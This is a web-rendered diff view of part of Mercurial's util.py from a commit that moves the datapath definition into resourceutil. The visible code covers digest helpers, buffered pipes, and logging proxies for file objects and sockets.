##// END OF EJS Templates
util: move definition of datapath to resourceutil...
Martin von Zweigbergk -
r44068:9fb85668 default
parent child Browse files
Show More
@@ -1,3602 +1,3596 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 57 resourceutil,
58 58 stringutil,
59 59 )
60 60
61 61 base85 = policy.importmod('base85')
62 62 osutil = policy.importmod('osutil')
63 63
64 64 b85decode = base85.b85decode
65 65 b85encode = base85.b85encode
66 66
67 67 cookielib = pycompat.cookielib
68 68 httplib = pycompat.httplib
69 69 pickle = pycompat.pickle
70 70 safehasattr = pycompat.safehasattr
71 71 socketserver = pycompat.socketserver
72 72 bytesio = pycompat.bytesio
73 73 # TODO deprecate stringio name, as it is a lie on Python 3.
74 74 stringio = bytesio
75 75 xmlrpclib = pycompat.xmlrpclib
76 76
77 77 httpserver = urllibcompat.httpserver
78 78 urlerr = urllibcompat.urlerr
79 79 urlreq = urllibcompat.urlreq
80 80
81 81 # workaround for win32mbcs
82 82 _filenamebytestr = pycompat.bytestr
83 83
84 84 if pycompat.iswindows:
85 85 from . import windows as platform
86 86 else:
87 87 from . import posix as platform
88 88
89 89 _ = i18n._
90 90
91 91 bindunixsocket = platform.bindunixsocket
92 92 cachestat = platform.cachestat
93 93 checkexec = platform.checkexec
94 94 checklink = platform.checklink
95 95 copymode = platform.copymode
96 96 expandglobs = platform.expandglobs
97 97 getfsmountpoint = platform.getfsmountpoint
98 98 getfstype = platform.getfstype
99 99 groupmembers = platform.groupmembers
100 100 groupname = platform.groupname
101 101 isexec = platform.isexec
102 102 isowner = platform.isowner
103 103 listdir = osutil.listdir
104 104 localpath = platform.localpath
105 105 lookupreg = platform.lookupreg
106 106 makedir = platform.makedir
107 107 nlinks = platform.nlinks
108 108 normpath = platform.normpath
109 109 normcase = platform.normcase
110 110 normcasespec = platform.normcasespec
111 111 normcasefallback = platform.normcasefallback
112 112 openhardlinks = platform.openhardlinks
113 113 oslink = platform.oslink
114 114 parsepatchoutput = platform.parsepatchoutput
115 115 pconvert = platform.pconvert
116 116 poll = platform.poll
117 117 posixfile = platform.posixfile
118 118 readlink = platform.readlink
119 119 rename = platform.rename
120 120 removedirs = platform.removedirs
121 121 samedevice = platform.samedevice
122 122 samefile = platform.samefile
123 123 samestat = platform.samestat
124 124 setflags = platform.setflags
125 125 split = platform.split
126 126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 127 statisexec = platform.statisexec
128 128 statislink = platform.statislink
129 129 umask = platform.umask
130 130 unlink = platform.unlink
131 131 username = platform.username
132 132
133 133 # small compat layer
134 134 compengines = compression.compengines
135 135 SERVERROLE = compression.SERVERROLE
136 136 CLIENTROLE = compression.CLIENTROLE
137 137
138 138 try:
139 139 recvfds = osutil.recvfds
140 140 except AttributeError:
141 141 pass
142 142
143 143 # Python compatibility
144 144
145 145 _notset = object()
146 146
147 147
148 148 def bitsfrom(container):
149 149 bits = 0
150 150 for bit in container:
151 151 bits |= bit
152 152 return bits
153 153
154 154
155 155 # python 2.6 still have deprecation warning enabled by default. We do not want
156 156 # to display anything to standard user so detect if we are running test and
157 157 # only use python deprecation warning in this case.
158 158 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
159 159 if _dowarn:
160 160 # explicitly unfilter our warning for python 2.7
161 161 #
162 162 # The option of setting PYTHONWARNINGS in the test runner was investigated.
163 163 # However, module name set through PYTHONWARNINGS was exactly matched, so
164 164 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
165 165 # makes the whole PYTHONWARNINGS thing useless for our usecase.
166 166 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
167 167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
168 168 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
169 169 if _dowarn and pycompat.ispy3:
170 170 # silence warning emitted by passing user string to re.sub()
171 171 warnings.filterwarnings(
172 172 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
173 173 )
174 174 warnings.filterwarnings(
175 175 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
176 176 )
177 177 # TODO: reinvent imp.is_frozen()
178 178 warnings.filterwarnings(
179 179 'ignore',
180 180 'the imp module is deprecated',
181 181 DeprecationWarning,
182 182 'mercurial',
183 183 )
184 184
185 185
186 186 def nouideprecwarn(msg, version, stacklevel=1):
187 187 """Issue an python native deprecation warning
188 188
189 189 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
190 190 """
191 191 if _dowarn:
192 192 msg += (
193 193 b"\n(compatibility will be dropped after Mercurial-%s,"
194 194 b" update your code.)"
195 195 ) % version
196 196 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
197 197
198 198
199 199 DIGESTS = {
200 200 b'md5': hashlib.md5,
201 201 b'sha1': hashlib.sha1,
202 202 b'sha512': hashlib.sha512,
203 203 }
204 204 # List of digest types from strongest to weakest
205 205 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
206 206
207 207 for k in DIGESTS_BY_STRENGTH:
208 208 assert k in DIGESTS
209 209
210 210
211 211 class digester(object):
212 212 """helper to compute digests.
213 213
214 214 This helper can be used to compute one or more digests given their name.
215 215
216 216 >>> d = digester([b'md5', b'sha1'])
217 217 >>> d.update(b'foo')
218 218 >>> [k for k in sorted(d)]
219 219 ['md5', 'sha1']
220 220 >>> d[b'md5']
221 221 'acbd18db4cc2f85cedef654fccc4a4d8'
222 222 >>> d[b'sha1']
223 223 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
224 224 >>> digester.preferred([b'md5', b'sha1'])
225 225 'sha1'
226 226 """
227 227
228 228 def __init__(self, digests, s=b''):
229 229 self._hashes = {}
230 230 for k in digests:
231 231 if k not in DIGESTS:
232 232 raise error.Abort(_(b'unknown digest type: %s') % k)
233 233 self._hashes[k] = DIGESTS[k]()
234 234 if s:
235 235 self.update(s)
236 236
237 237 def update(self, data):
238 238 for h in self._hashes.values():
239 239 h.update(data)
240 240
241 241 def __getitem__(self, key):
242 242 if key not in DIGESTS:
243 243 raise error.Abort(_(b'unknown digest type: %s') % k)
244 244 return nodemod.hex(self._hashes[key].digest())
245 245
246 246 def __iter__(self):
247 247 return iter(self._hashes)
248 248
249 249 @staticmethod
250 250 def preferred(supported):
251 251 """returns the strongest digest type in both supported and DIGESTS."""
252 252
253 253 for k in DIGESTS_BY_STRENGTH:
254 254 if k in supported:
255 255 return k
256 256 return None
257 257
258 258
259 259 class digestchecker(object):
260 260 """file handle wrapper that additionally checks content against a given
261 261 size and digests.
262 262
263 263 d = digestchecker(fh, size, {'md5': '...'})
264 264
265 265 When multiple digests are given, all of them are validated.
266 266 """
267 267
268 268 def __init__(self, fh, size, digests):
269 269 self._fh = fh
270 270 self._size = size
271 271 self._got = 0
272 272 self._digests = dict(digests)
273 273 self._digester = digester(self._digests.keys())
274 274
275 275 def read(self, length=-1):
276 276 content = self._fh.read(length)
277 277 self._digester.update(content)
278 278 self._got += len(content)
279 279 return content
280 280
281 281 def validate(self):
282 282 if self._size != self._got:
283 283 raise error.Abort(
284 284 _(b'size mismatch: expected %d, got %d')
285 285 % (self._size, self._got)
286 286 )
287 287 for k, v in self._digests.items():
288 288 if v != self._digester[k]:
289 289 # i18n: first parameter is a digest name
290 290 raise error.Abort(
291 291 _(b'%s mismatch: expected %s, got %s')
292 292 % (k, v, self._digester[k])
293 293 )
294 294
295 295
296 296 try:
297 297 buffer = buffer
298 298 except NameError:
299 299
300 300 def buffer(sliceable, offset=0, length=None):
301 301 if length is not None:
302 302 return memoryview(sliceable)[offset : offset + length]
303 303 return memoryview(sliceable)[offset:]
304 304
305 305
306 306 _chunksize = 4096
307 307
308 308
309 309 class bufferedinputpipe(object):
310 310 """a manually buffered input pipe
311 311
312 312 Python will not let us use buffered IO and lazy reading with 'polling' at
313 313 the same time. We cannot probe the buffer state and select will not detect
314 314 that data are ready to read if they are already buffered.
315 315
316 316 This class let us work around that by implementing its own buffering
317 317 (allowing efficient readline) while offering a way to know if the buffer is
318 318 empty from the output (allowing collaboration of the buffer with polling).
319 319
320 320 This class lives in the 'util' module because it makes use of the 'os'
321 321 module from the python stdlib.
322 322 """
323 323
324 324 def __new__(cls, fh):
325 325 # If we receive a fileobjectproxy, we need to use a variation of this
326 326 # class that notifies observers about activity.
327 327 if isinstance(fh, fileobjectproxy):
328 328 cls = observedbufferedinputpipe
329 329
330 330 return super(bufferedinputpipe, cls).__new__(cls)
331 331
332 332 def __init__(self, input):
333 333 self._input = input
334 334 self._buffer = []
335 335 self._eof = False
336 336 self._lenbuf = 0
337 337
338 338 @property
339 339 def hasbuffer(self):
340 340 """True is any data is currently buffered
341 341
342 342 This will be used externally a pre-step for polling IO. If there is
343 343 already data then no polling should be set in place."""
344 344 return bool(self._buffer)
345 345
346 346 @property
347 347 def closed(self):
348 348 return self._input.closed
349 349
350 350 def fileno(self):
351 351 return self._input.fileno()
352 352
353 353 def close(self):
354 354 return self._input.close()
355 355
356 356 def read(self, size):
357 357 while (not self._eof) and (self._lenbuf < size):
358 358 self._fillbuffer()
359 359 return self._frombuffer(size)
360 360
361 361 def unbufferedread(self, size):
362 362 if not self._eof and self._lenbuf == 0:
363 363 self._fillbuffer(max(size, _chunksize))
364 364 return self._frombuffer(min(self._lenbuf, size))
365 365
366 366 def readline(self, *args, **kwargs):
367 367 if len(self._buffer) > 1:
368 368 # this should not happen because both read and readline end with a
369 369 # _frombuffer call that collapse it.
370 370 self._buffer = [b''.join(self._buffer)]
371 371 self._lenbuf = len(self._buffer[0])
372 372 lfi = -1
373 373 if self._buffer:
374 374 lfi = self._buffer[-1].find(b'\n')
375 375 while (not self._eof) and lfi < 0:
376 376 self._fillbuffer()
377 377 if self._buffer:
378 378 lfi = self._buffer[-1].find(b'\n')
379 379 size = lfi + 1
380 380 if lfi < 0: # end of file
381 381 size = self._lenbuf
382 382 elif len(self._buffer) > 1:
383 383 # we need to take previous chunks into account
384 384 size += self._lenbuf - len(self._buffer[-1])
385 385 return self._frombuffer(size)
386 386
387 387 def _frombuffer(self, size):
388 388 """return at most 'size' data from the buffer
389 389
390 390 The data are removed from the buffer."""
391 391 if size == 0 or not self._buffer:
392 392 return b''
393 393 buf = self._buffer[0]
394 394 if len(self._buffer) > 1:
395 395 buf = b''.join(self._buffer)
396 396
397 397 data = buf[:size]
398 398 buf = buf[len(data) :]
399 399 if buf:
400 400 self._buffer = [buf]
401 401 self._lenbuf = len(buf)
402 402 else:
403 403 self._buffer = []
404 404 self._lenbuf = 0
405 405 return data
406 406
407 407 def _fillbuffer(self, size=_chunksize):
408 408 """read data to the buffer"""
409 409 data = os.read(self._input.fileno(), size)
410 410 if not data:
411 411 self._eof = True
412 412 else:
413 413 self._lenbuf += len(data)
414 414 self._buffer.append(data)
415 415
416 416 return data
417 417
418 418
419 419 def mmapread(fp):
420 420 try:
421 421 fd = getattr(fp, 'fileno', lambda: fp)()
422 422 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
423 423 except ValueError:
424 424 # Empty files cannot be mmapped, but mmapread should still work. Check
425 425 # if the file is empty, and if so, return an empty buffer.
426 426 if os.fstat(fd).st_size == 0:
427 427 return b''
428 428 raise
429 429
430 430
431 431 class fileobjectproxy(object):
432 432 """A proxy around file objects that tells a watcher when events occur.
433 433
434 434 This type is intended to only be used for testing purposes. Think hard
435 435 before using it in important code.
436 436 """
437 437
438 438 __slots__ = (
439 439 '_orig',
440 440 '_observer',
441 441 )
442 442
443 443 def __init__(self, fh, observer):
444 444 object.__setattr__(self, '_orig', fh)
445 445 object.__setattr__(self, '_observer', observer)
446 446
447 447 def __getattribute__(self, name):
448 448 ours = {
449 449 '_observer',
450 450 # IOBase
451 451 'close',
452 452 # closed if a property
453 453 'fileno',
454 454 'flush',
455 455 'isatty',
456 456 'readable',
457 457 'readline',
458 458 'readlines',
459 459 'seek',
460 460 'seekable',
461 461 'tell',
462 462 'truncate',
463 463 'writable',
464 464 'writelines',
465 465 # RawIOBase
466 466 'read',
467 467 'readall',
468 468 'readinto',
469 469 'write',
470 470 # BufferedIOBase
471 471 # raw is a property
472 472 'detach',
473 473 # read defined above
474 474 'read1',
475 475 # readinto defined above
476 476 # write defined above
477 477 }
478 478
479 479 # We only observe some methods.
480 480 if name in ours:
481 481 return object.__getattribute__(self, name)
482 482
483 483 return getattr(object.__getattribute__(self, '_orig'), name)
484 484
485 485 def __nonzero__(self):
486 486 return bool(object.__getattribute__(self, '_orig'))
487 487
488 488 __bool__ = __nonzero__
489 489
490 490 def __delattr__(self, name):
491 491 return delattr(object.__getattribute__(self, '_orig'), name)
492 492
493 493 def __setattr__(self, name, value):
494 494 return setattr(object.__getattribute__(self, '_orig'), name, value)
495 495
496 496 def __iter__(self):
497 497 return object.__getattribute__(self, '_orig').__iter__()
498 498
499 499 def _observedcall(self, name, *args, **kwargs):
500 500 # Call the original object.
501 501 orig = object.__getattribute__(self, '_orig')
502 502 res = getattr(orig, name)(*args, **kwargs)
503 503
504 504 # Call a method on the observer of the same name with arguments
505 505 # so it can react, log, etc.
506 506 observer = object.__getattribute__(self, '_observer')
507 507 fn = getattr(observer, name, None)
508 508 if fn:
509 509 fn(res, *args, **kwargs)
510 510
511 511 return res
512 512
513 513 def close(self, *args, **kwargs):
514 514 return object.__getattribute__(self, '_observedcall')(
515 515 'close', *args, **kwargs
516 516 )
517 517
518 518 def fileno(self, *args, **kwargs):
519 519 return object.__getattribute__(self, '_observedcall')(
520 520 'fileno', *args, **kwargs
521 521 )
522 522
523 523 def flush(self, *args, **kwargs):
524 524 return object.__getattribute__(self, '_observedcall')(
525 525 'flush', *args, **kwargs
526 526 )
527 527
528 528 def isatty(self, *args, **kwargs):
529 529 return object.__getattribute__(self, '_observedcall')(
530 530 'isatty', *args, **kwargs
531 531 )
532 532
533 533 def readable(self, *args, **kwargs):
534 534 return object.__getattribute__(self, '_observedcall')(
535 535 'readable', *args, **kwargs
536 536 )
537 537
538 538 def readline(self, *args, **kwargs):
539 539 return object.__getattribute__(self, '_observedcall')(
540 540 'readline', *args, **kwargs
541 541 )
542 542
543 543 def readlines(self, *args, **kwargs):
544 544 return object.__getattribute__(self, '_observedcall')(
545 545 'readlines', *args, **kwargs
546 546 )
547 547
548 548 def seek(self, *args, **kwargs):
549 549 return object.__getattribute__(self, '_observedcall')(
550 550 'seek', *args, **kwargs
551 551 )
552 552
553 553 def seekable(self, *args, **kwargs):
554 554 return object.__getattribute__(self, '_observedcall')(
555 555 'seekable', *args, **kwargs
556 556 )
557 557
558 558 def tell(self, *args, **kwargs):
559 559 return object.__getattribute__(self, '_observedcall')(
560 560 'tell', *args, **kwargs
561 561 )
562 562
563 563 def truncate(self, *args, **kwargs):
564 564 return object.__getattribute__(self, '_observedcall')(
565 565 'truncate', *args, **kwargs
566 566 )
567 567
568 568 def writable(self, *args, **kwargs):
569 569 return object.__getattribute__(self, '_observedcall')(
570 570 'writable', *args, **kwargs
571 571 )
572 572
573 573 def writelines(self, *args, **kwargs):
574 574 return object.__getattribute__(self, '_observedcall')(
575 575 'writelines', *args, **kwargs
576 576 )
577 577
578 578 def read(self, *args, **kwargs):
579 579 return object.__getattribute__(self, '_observedcall')(
580 580 'read', *args, **kwargs
581 581 )
582 582
583 583 def readall(self, *args, **kwargs):
584 584 return object.__getattribute__(self, '_observedcall')(
585 585 'readall', *args, **kwargs
586 586 )
587 587
588 588 def readinto(self, *args, **kwargs):
589 589 return object.__getattribute__(self, '_observedcall')(
590 590 'readinto', *args, **kwargs
591 591 )
592 592
593 593 def write(self, *args, **kwargs):
594 594 return object.__getattribute__(self, '_observedcall')(
595 595 'write', *args, **kwargs
596 596 )
597 597
598 598 def detach(self, *args, **kwargs):
599 599 return object.__getattribute__(self, '_observedcall')(
600 600 'detach', *args, **kwargs
601 601 )
602 602
603 603 def read1(self, *args, **kwargs):
604 604 return object.__getattribute__(self, '_observedcall')(
605 605 'read1', *args, **kwargs
606 606 )
607 607
608 608
609 609 class observedbufferedinputpipe(bufferedinputpipe):
610 610 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
611 611
612 612 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
613 613 bypass ``fileobjectproxy``. Because of this, we need to make
614 614 ``bufferedinputpipe`` aware of these operations.
615 615
616 616 This variation of ``bufferedinputpipe`` can notify observers about
617 617 ``os.read()`` events. It also re-publishes other events, such as
618 618 ``read()`` and ``readline()``.
619 619 """
620 620
621 621 def _fillbuffer(self):
622 622 res = super(observedbufferedinputpipe, self)._fillbuffer()
623 623
624 624 fn = getattr(self._input._observer, 'osread', None)
625 625 if fn:
626 626 fn(res, _chunksize)
627 627
628 628 return res
629 629
630 630 # We use different observer methods because the operation isn't
631 631 # performed on the actual file object but on us.
632 632 def read(self, size):
633 633 res = super(observedbufferedinputpipe, self).read(size)
634 634
635 635 fn = getattr(self._input._observer, 'bufferedread', None)
636 636 if fn:
637 637 fn(res, size)
638 638
639 639 return res
640 640
641 641 def readline(self, *args, **kwargs):
642 642 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
643 643
644 644 fn = getattr(self._input._observer, 'bufferedreadline', None)
645 645 if fn:
646 646 fn(res)
647 647
648 648 return res
649 649
650 650
651 651 PROXIED_SOCKET_METHODS = {
652 652 'makefile',
653 653 'recv',
654 654 'recvfrom',
655 655 'recvfrom_into',
656 656 'recv_into',
657 657 'send',
658 658 'sendall',
659 659 'sendto',
660 660 'setblocking',
661 661 'settimeout',
662 662 'gettimeout',
663 663 'setsockopt',
664 664 }
665 665
666 666
667 667 class socketproxy(object):
668 668 """A proxy around a socket that tells a watcher when events occur.
669 669
670 670 This is like ``fileobjectproxy`` except for sockets.
671 671
672 672 This type is intended to only be used for testing purposes. Think hard
673 673 before using it in important code.
674 674 """
675 675
676 676 __slots__ = (
677 677 '_orig',
678 678 '_observer',
679 679 )
680 680
681 681 def __init__(self, sock, observer):
682 682 object.__setattr__(self, '_orig', sock)
683 683 object.__setattr__(self, '_observer', observer)
684 684
685 685 def __getattribute__(self, name):
686 686 if name in PROXIED_SOCKET_METHODS:
687 687 return object.__getattribute__(self, name)
688 688
689 689 return getattr(object.__getattribute__(self, '_orig'), name)
690 690
691 691 def __delattr__(self, name):
692 692 return delattr(object.__getattribute__(self, '_orig'), name)
693 693
694 694 def __setattr__(self, name, value):
695 695 return setattr(object.__getattribute__(self, '_orig'), name, value)
696 696
697 697 def __nonzero__(self):
698 698 return bool(object.__getattribute__(self, '_orig'))
699 699
700 700 __bool__ = __nonzero__
701 701
702 702 def _observedcall(self, name, *args, **kwargs):
703 703 # Call the original object.
704 704 orig = object.__getattribute__(self, '_orig')
705 705 res = getattr(orig, name)(*args, **kwargs)
706 706
707 707 # Call a method on the observer of the same name with arguments
708 708 # so it can react, log, etc.
709 709 observer = object.__getattribute__(self, '_observer')
710 710 fn = getattr(observer, name, None)
711 711 if fn:
712 712 fn(res, *args, **kwargs)
713 713
714 714 return res
715 715
716 716 def makefile(self, *args, **kwargs):
717 717 res = object.__getattribute__(self, '_observedcall')(
718 718 'makefile', *args, **kwargs
719 719 )
720 720
721 721 # The file object may be used for I/O. So we turn it into a
722 722 # proxy using our observer.
723 723 observer = object.__getattribute__(self, '_observer')
724 724 return makeloggingfileobject(
725 725 observer.fh,
726 726 res,
727 727 observer.name,
728 728 reads=observer.reads,
729 729 writes=observer.writes,
730 730 logdata=observer.logdata,
731 731 logdataapis=observer.logdataapis,
732 732 )
733 733
734 734 def recv(self, *args, **kwargs):
735 735 return object.__getattribute__(self, '_observedcall')(
736 736 'recv', *args, **kwargs
737 737 )
738 738
739 739 def recvfrom(self, *args, **kwargs):
740 740 return object.__getattribute__(self, '_observedcall')(
741 741 'recvfrom', *args, **kwargs
742 742 )
743 743
744 744 def recvfrom_into(self, *args, **kwargs):
745 745 return object.__getattribute__(self, '_observedcall')(
746 746 'recvfrom_into', *args, **kwargs
747 747 )
748 748
749 749 def recv_into(self, *args, **kwargs):
750 750 return object.__getattribute__(self, '_observedcall')(
751 751 'recv_info', *args, **kwargs
752 752 )
753 753
754 754 def send(self, *args, **kwargs):
755 755 return object.__getattribute__(self, '_observedcall')(
756 756 'send', *args, **kwargs
757 757 )
758 758
759 759 def sendall(self, *args, **kwargs):
760 760 return object.__getattribute__(self, '_observedcall')(
761 761 'sendall', *args, **kwargs
762 762 )
763 763
764 764 def sendto(self, *args, **kwargs):
765 765 return object.__getattribute__(self, '_observedcall')(
766 766 'sendto', *args, **kwargs
767 767 )
768 768
769 769 def setblocking(self, *args, **kwargs):
770 770 return object.__getattribute__(self, '_observedcall')(
771 771 'setblocking', *args, **kwargs
772 772 )
773 773
774 774 def settimeout(self, *args, **kwargs):
775 775 return object.__getattribute__(self, '_observedcall')(
776 776 'settimeout', *args, **kwargs
777 777 )
778 778
779 779 def gettimeout(self, *args, **kwargs):
780 780 return object.__getattribute__(self, '_observedcall')(
781 781 'gettimeout', *args, **kwargs
782 782 )
783 783
784 784 def setsockopt(self, *args, **kwargs):
785 785 return object.__getattribute__(self, '_observedcall')(
786 786 'setsockopt', *args, **kwargs
787 787 )
788 788
789 789
790 790 class baseproxyobserver(object):
791 791 def _writedata(self, data):
792 792 if not self.logdata:
793 793 if self.logdataapis:
794 794 self.fh.write(b'\n')
795 795 self.fh.flush()
796 796 return
797 797
798 798 # Simple case writes all data on a single line.
799 799 if b'\n' not in data:
800 800 if self.logdataapis:
801 801 self.fh.write(b': %s\n' % stringutil.escapestr(data))
802 802 else:
803 803 self.fh.write(
804 804 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
805 805 )
806 806 self.fh.flush()
807 807 return
808 808
809 809 # Data with newlines is written to multiple lines.
810 810 if self.logdataapis:
811 811 self.fh.write(b':\n')
812 812
813 813 lines = data.splitlines(True)
814 814 for line in lines:
815 815 self.fh.write(
816 816 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
817 817 )
818 818 self.fh.flush()
819 819
820 820
821 821 class fileobjectobserver(baseproxyobserver):
822 822 """Logs file object activity."""
823 823
824 824 def __init__(
825 825 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
826 826 ):
827 827 self.fh = fh
828 828 self.name = name
829 829 self.logdata = logdata
830 830 self.logdataapis = logdataapis
831 831 self.reads = reads
832 832 self.writes = writes
833 833
834 834 def read(self, res, size=-1):
835 835 if not self.reads:
836 836 return
837 837 # Python 3 can return None from reads at EOF instead of empty strings.
838 838 if res is None:
839 839 res = b''
840 840
841 841 if size == -1 and res == b'':
842 842 # Suppress pointless read(-1) calls that return
843 843 # nothing. These happen _a lot_ on Python 3, and there
844 844 # doesn't seem to be a better workaround to have matching
845 845 # Python 2 and 3 behavior. :(
846 846 return
847 847
848 848 if self.logdataapis:
849 849 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
850 850
851 851 self._writedata(res)
852 852
853 853 def readline(self, res, limit=-1):
854 854 if not self.reads:
855 855 return
856 856
857 857 if self.logdataapis:
858 858 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
859 859
860 860 self._writedata(res)
861 861
862 862 def readinto(self, res, dest):
863 863 if not self.reads:
864 864 return
865 865
866 866 if self.logdataapis:
867 867 self.fh.write(
868 868 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
869 869 )
870 870
871 871 data = dest[0:res] if res is not None else b''
872 872
873 873 # _writedata() uses "in" operator and is confused by memoryview because
874 874 # characters are ints on Python 3.
875 875 if isinstance(data, memoryview):
876 876 data = data.tobytes()
877 877
878 878 self._writedata(data)
879 879
880 880 def write(self, res, data):
881 881 if not self.writes:
882 882 return
883 883
884 884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
885 885 # returns the integer bytes written.
886 886 if res is None and data:
887 887 res = len(data)
888 888
889 889 if self.logdataapis:
890 890 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
891 891
892 892 self._writedata(data)
893 893
894 894 def flush(self, res):
895 895 if not self.writes:
896 896 return
897 897
898 898 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
899 899
900 900 # For observedbufferedinputpipe.
901 901 def bufferedread(self, res, size):
902 902 if not self.reads:
903 903 return
904 904
905 905 if self.logdataapis:
906 906 self.fh.write(
907 907 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
908 908 )
909 909
910 910 self._writedata(res)
911 911
912 912 def bufferedreadline(self, res):
913 913 if not self.reads:
914 914 return
915 915
916 916 if self.logdataapis:
917 917 self.fh.write(
918 918 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
919 919 )
920 920
921 921 self._writedata(res)
922 922
923 923
924 924 def makeloggingfileobject(
925 925 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
926 926 ):
927 927 """Turn a file object into a logging file object."""
928 928
929 929 observer = fileobjectobserver(
930 930 logh,
931 931 name,
932 932 reads=reads,
933 933 writes=writes,
934 934 logdata=logdata,
935 935 logdataapis=logdataapis,
936 936 )
937 937 return fileobjectproxy(fh, observer)
938 938
939 939
940 940 class socketobserver(baseproxyobserver):
941 941 """Logs socket activity."""
942 942
943 943 def __init__(
944 944 self,
945 945 fh,
946 946 name,
947 947 reads=True,
948 948 writes=True,
949 949 states=True,
950 950 logdata=False,
951 951 logdataapis=True,
952 952 ):
953 953 self.fh = fh
954 954 self.name = name
955 955 self.reads = reads
956 956 self.writes = writes
957 957 self.states = states
958 958 self.logdata = logdata
959 959 self.logdataapis = logdataapis
960 960
961 961 def makefile(self, res, mode=None, bufsize=None):
962 962 if not self.states:
963 963 return
964 964
965 965 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
966 966
967 967 def recv(self, res, size, flags=0):
968 968 if not self.reads:
969 969 return
970 970
971 971 if self.logdataapis:
972 972 self.fh.write(
973 973 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
974 974 )
975 975 self._writedata(res)
976 976
977 977 def recvfrom(self, res, size, flags=0):
978 978 if not self.reads:
979 979 return
980 980
981 981 if self.logdataapis:
982 982 self.fh.write(
983 983 b'%s> recvfrom(%d, %d) -> %d'
984 984 % (self.name, size, flags, len(res[0]))
985 985 )
986 986
987 987 self._writedata(res[0])
988 988
989 989 def recvfrom_into(self, res, buf, size, flags=0):
990 990 if not self.reads:
991 991 return
992 992
993 993 if self.logdataapis:
994 994 self.fh.write(
995 995 b'%s> recvfrom_into(%d, %d) -> %d'
996 996 % (self.name, size, flags, res[0])
997 997 )
998 998
999 999 self._writedata(buf[0 : res[0]])
1000 1000
1001 1001 def recv_into(self, res, buf, size=0, flags=0):
1002 1002 if not self.reads:
1003 1003 return
1004 1004
1005 1005 if self.logdataapis:
1006 1006 self.fh.write(
1007 1007 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1008 1008 )
1009 1009
1010 1010 self._writedata(buf[0:res])
1011 1011
1012 1012 def send(self, res, data, flags=0):
1013 1013 if not self.writes:
1014 1014 return
1015 1015
1016 1016 self.fh.write(
1017 1017 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1018 1018 )
1019 1019 self._writedata(data)
1020 1020
1021 1021 def sendall(self, res, data, flags=0):
1022 1022 if not self.writes:
1023 1023 return
1024 1024
1025 1025 if self.logdataapis:
1026 1026 # Returns None on success. So don't bother reporting return value.
1027 1027 self.fh.write(
1028 1028 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1029 1029 )
1030 1030
1031 1031 self._writedata(data)
1032 1032
1033 1033 def sendto(self, res, data, flagsoraddress, address=None):
1034 1034 if not self.writes:
1035 1035 return
1036 1036
1037 1037 if address:
1038 1038 flags = flagsoraddress
1039 1039 else:
1040 1040 flags = 0
1041 1041
1042 1042 if self.logdataapis:
1043 1043 self.fh.write(
1044 1044 b'%s> sendto(%d, %d, %r) -> %d'
1045 1045 % (self.name, len(data), flags, address, res)
1046 1046 )
1047 1047
1048 1048 self._writedata(data)
1049 1049
1050 1050 def setblocking(self, res, flag):
1051 1051 if not self.states:
1052 1052 return
1053 1053
1054 1054 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1055 1055
1056 1056 def settimeout(self, res, value):
1057 1057 if not self.states:
1058 1058 return
1059 1059
1060 1060 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1061 1061
1062 1062 def gettimeout(self, res):
1063 1063 if not self.states:
1064 1064 return
1065 1065
